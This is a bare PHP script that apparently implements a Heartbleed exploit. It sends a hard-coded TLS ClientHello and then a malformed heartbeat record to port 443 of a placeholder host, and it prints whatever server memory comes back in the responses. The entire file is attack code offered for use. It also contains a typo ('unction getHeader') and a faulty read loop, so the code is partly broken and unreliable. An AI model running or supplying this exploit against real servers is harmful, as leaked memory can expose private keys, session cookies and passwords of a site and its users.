<?php
$host = "www.xxx.com";
$port = 443;
 
 
$helloMsg = "16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01";
$hackMsg = "18 03 02 00 03 01 40 00";
 
$helloMsg = preg_replace('/[\s\r\n]+/', '', $helloMsg);
$helloMsg = hex2bin($helloMsg);
 
$hackMsg = preg_replace('/[\s\r\n]+/', '', $hackMsg);
$hackMsg = hex2bin($hackMsg);
 
 
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
 
if (!@socket_connect($socket, $host, $port)) {
    $err = socket_last_error($socket);
    echo "error";
    print_r($err);
    exit(1);
}
 
socket_write($socket, $helloMsg, strlen($helloMsg) );
 
$header = getHeader($socket);
$buf = getResponse($socket, $header['length']);
 
socket_write($socket, $hackMsg, strlen($hackMsg) );
socket_write($socket, $hackMsg, strlen($hackMsg) );
 
while (1) {
 
 
    $header = getHeader($socket);
    if (empty($header['type'])) {
        echo "\n response type null\n";
        exit(1);
    }
 
    if ($header['length'] <= 0) {
        continue;
    }
    $revContent = getResponse($socket, $header['length']);
 
    switch ($header['type']) {
        case 24:
            echo convertContent($revContent);
            break;
        default:
            break;
    }
}
 
 
 
 
function hexToString($str) {
    $n = strlen($str);
    $nStr = "";
    for ($i = 0; $i < $n; $i+=2) {
        $hex = substr($str, $i, 2);
        $nStr .= chr(hexdec($hex));
 
    }
    return $nStr;
}
 
 
unction getHeader($socket) {
 
    $revHeader = getResponse($socket, 5);
    $b1 = substr($revHeader, 0, 1);
    $type = hexdec(bin2hex($b1));
    $b2 = substr($revHeader, 1, 2);
    $version = bin2hex($b2);
    $b3 = substr($revHeader, 3, 2);
    $length = hexdec(bin2hex($b3));
    return array(
        "type" => $type,
        "length" => $length,
        "version" => $version,
    );
}
 
 
function convertContent ($c) {
    $c = bin2hex($c);
    $c = hexToString($c);
    return urldecode($c);
 
}
function getResponse($socket, $length) {
    $revContent = "";
    while ($length > 0) {
        $revContent .= @socket_read($socket, $length, PHP_BINARY_READ);
        $n = strlen($revContent);
        $length -= $n;
    }
    return $revContent;
}